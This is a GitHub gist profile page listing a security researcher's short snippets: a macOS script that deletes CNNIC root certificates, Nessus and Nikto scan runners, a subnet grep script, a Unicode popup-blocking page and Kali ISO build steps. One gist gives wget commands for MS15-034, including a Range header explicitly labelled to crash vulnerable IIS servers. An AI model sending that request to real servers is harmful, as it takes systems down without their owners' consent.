Skip to content

Instantly share code, notes, and snippets.

Avatar

Jerry Gamblin jgamblin

View GitHub Profile
@jgamblin
jgamblin / Del_China_Gov_Certs_OSX.SH
Last active Oct 23, 2015
Del_China_Gov_Certs_OSX.SH
View Del_China_Gov_Certs_OSX.SH
#!/bin/bash
# Deletes CNNIC Root Certs from OSX 10.10.3
# WARNING: DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING (BECAUSE I DONT)
# IT WILL PROBABLY INSTALL WINDOWS 98 ON YOUR MAC.
function remove {
echo "Removing ${1}"
sudo security delete-certificate -t -Z $2 /System/Library/Keychains/SystemRootCertificates.keychain
}
@jgamblin
jgamblin / gist:78385829c9922b4b465d
Created Apr 16, 2015
Test for MS15-034 with WGET
View gist:78385829c9922b4b465d
#Use this just to test (Requested Range Not Satisfiable = vulnerable):
wget --header="Range: bytes=0-18446744073709551615" http://serveraddress/iis-85.png
#Use this to BSOD Vulnerable systems:
wget --header="Range: bytes=18-18446744073709551615" http://serveraddress/iis-85.png
@jgamblin
jgamblin / cloudscan.py
Last active Nov 7, 2017
A python script to run Nessus cloud scans by @jgamblin but mostly stolen from @averagesecguy.
View cloudscan.py
#!/usr/bin/env python
# Name: cloudscan.py
# Purpose: Run Nessus Cloud Scans Easily.
# By: Jerry Gamblin
# Date: 11.05.15
# Modified 11.05.15
# Rev Level 0.5
# -----------------------------------------------
import requests
@jgamblin
jgamblin / niktome.py
Created May 15, 2015
Run nikto from an ssh host.
View niktome.py
#!/usr/bin/env python
# Name: niktome.py
# Purpose: Run Nikto From My Cloud.
# By: Jerry Gamblin
# Date: 15.05.15
# Modified 15.05.15
# Rev Level 0.5
# -----------------------------------------------
@jgamblin
jgamblin / grepips.py
Created May 20, 2015
Python script to grep homepages on a subnet and will report if text is found.
View grepips.py
#!/usr/bin/env python
# Name: grepips
# Purpose: #!/usr/bin/env python
# Name: grepips
# Purpose: grep a subnet and report if text is found.
# By: Jerry Gamblin
# Date: 20.05.15
# Modified 20.05.15
# Rev Level 0.1
## -----------------------------------------------
@jgamblin
jgamblin / noalert.html
Last active Aug 29, 2015
Evil Unicode Kills JavaScript PopUp
View noalert.html
<!DOCTYPE html>
<html>
<body>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
<TITLE>effective. Power لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗</TITLE>
</head>
<p>Evil Unicode Wont Allow Popup:</p>
@jgamblin
jgamblin / compare.py
Created Jul 19, 2015
Compare Two Files In Python
View compare.py
#!/usr/bin/env python
# Name: compare.py
# Purpose: Compare File Informaation
# By: Jerry Gamblin
# Date: 18.07.15
# Modified 18.07.15
# Rev Level 0.1
# -----------------------------------------------
View keybase.md

Keybase proof

I hereby claim:

  • I am jgamblin on github.
  • I am jgamblin (https://keybase.io/jgamblin) on keybase.
  • I have a public key whose fingerprint is 7FA0 DD59 A306 1072 E08C 814D C8CD 66A3 EFCE A51D

To claim this, I am signing this object:

@jgamblin
jgamblin / Kali 2.0 ISO Build
Created Aug 8, 2015
Build Your Own Kali 2.0 ISO
View Kali 2.0 ISO Build
##################################################################
Install live-build
##################################################################
sudo apt-get isntall live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git
@jgamblin
jgamblin / Kali 2.0 ISO Build
Last active May 12, 2019
Build Your Own Kali 2.0 ISO
View Kali 2.0 ISO Build
##################################################################
Install live-build
##################################################################
sudo apt-get install live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git